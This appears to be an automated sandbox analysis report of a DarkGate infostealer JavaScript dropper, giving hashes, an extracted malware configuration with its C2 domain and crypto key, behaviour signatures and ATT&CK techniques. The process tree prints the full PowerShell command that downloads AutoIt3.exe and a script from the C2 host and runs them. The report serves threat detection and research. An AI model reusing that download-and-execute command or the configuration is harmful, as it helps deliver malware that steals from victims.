darkgate | aff263702a19eb6640636f8c2708147a5ce8a5577d86a57224ddbe0f51c7dafe

Analysis

max time kernel
139s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20231023-en
resource tags

arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
submitted
07/11/2023, 16:33

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General

Target
app(060e45bf7b57d4).js
Size 252KB
Sample231107-t2hkhsdc96
SHA256 aff263702a19eb6640636f8c2708147a5ce8a5577d86a57224ddbe0f51c7dafe
MD5 9edd0adf749c9406b020d9ca613daa62
SHA1 701cc4130fd3b8b17d6692101b7bd80d9a14b68c
SHA512 99df3475b72b2576123a7a46338470346b30e6ac10d9bd8506c6b359de2bf7308d0d85ece3039f3388d6feed7a6e7774eb4300c4ecc4435bf6361e59ab8e52da
SSDEEP 6144:ge7hgXeerjqlI2Iro+ra4xB9ElITe7hgXeerjqlI2Iro+8:gIhgSlI23qa4xB9ElITIhgSlI23V
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

darkgate ads5 stealer

Malware Config

Extracted

Family

darkgate

Botnet

ADS5

http://siliconerumble.com

Attributes

alternative_c2_port
8080
anti_analysis
true
anti_debug
true
anti_vm
true
c2_port
443
check_disk
false
check_ram
true
check_xeon
true
crypter_au3
false
crypter_dll
false
crypter_rawstub
true
crypto_key
CXKvjwjmjoZnik
internal_mutex
txtMut
minimum_disk
40
minimum_ram
6000
ping_interval
4
rootkit
true
startup_persistence
true
username
ADS5

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	892	powershell.exe
15	892	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2231940048-779848787-2990559741-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 1 IoCs

pid	Process
2492	AutoIt3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoIt3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoIt3.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
892	powershell.exe
892	powershell.exe
892	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	892	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1060 wrote to memory of 892	1060	wscript.exe	86
PID 1060 wrote to memory of 892	1060	wscript.exe	86
PID 892 wrote to memory of 2492	892	powershell.exe	95
PID 892 wrote to memory of 2492	892	powershell.exe	95
PID 892 wrote to memory of 2492	892	powershell.exe	95

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\app(060e45bf7b57d4).js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://siliconerumble.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://siliconerumble.com:443/msijhoziucv' -OutFile 'jhoziucv.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'jhoziucv.au3'"; Stop-Process -Name "WScript"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:892
- - C:\tepp\AutoIt3.exe
    "C:\tepp\AutoIt3.exe" jhoziucv.au3
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    PID:2492

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_hczluno0.qqx.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hczluno0.qqx.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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AutoIt3.exe

Path C:\tepp\AutoIt3.exe
Size 872KB
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
SSDEEP 12288:6pVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:6T3E53Myyzl0hMf1tr7Caw8M01
MD5 SHA1 SHA512 SSDEEP

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AutoIt3.exe

Path C:\tepp\AutoIt3.exe
Size 872KB
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
SSDEEP 12288:6pVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:6T3E53Myyzl0hMf1tr7Caw8M01
MD5 SHA1 SHA512 SSDEEP

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jhoziucv.au3

Path C:\tepp\jhoziucv.au3
Size 599KB
SHA256 44e466072f23e7936f31eb33b914a433c019ff8519828590a9b3371d3861d34f
MD5 4772a901165d49c57fa3ef6f13917d7d
SHA1 744ecf877c5339a4e95c8fe35cf13c84bce2e800
SHA512 532c0a1b780f5bc5ee8054e6ee363ffc55e1c5c14c43827a3289498dc982a63c9058b2f14866e4a1b45973500ad280915e0496c6c0545818852fd5daa4e380e3
SSDEEP 12288:UucwcUqBdJo8/RE2DnZoVh/uIzo3YKOn2M/xbGq4eMaQzul:vcUqBd3/N7ohLzEO2MJCaQzul
MD5 SHA1 SHA512 SSDEEP

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memory/892-12-0x000002D079DE0000-0x000002D079DF0000-memory.dmp

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memory/892-13-0x000002D079DE0000-0x000002D079DF0000-memory.dmp

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memory/892-11-0x000002D079DE0000-0x000002D079DF0000-memory.dmp

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memory/892-10-0x00007FFCC45D0000-0x00007FFCC5091000-memory.dmp

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memory/892-27-0x00007FFCC45D0000-0x00007FFCC5091000-memory.dmp

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memory/892-0-0x000002D07A740000-0x000002D07A762000-memory.dmp

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memory/2492-30-0x00000000046F0000-0x00000000048F0000-memory.dmp

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memory/2492-31-0x0000000005140000-0x00000000052D5000-memory.dmp

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memory/2492-32-0x0000000005140000-0x00000000052D5000-memory.dmp

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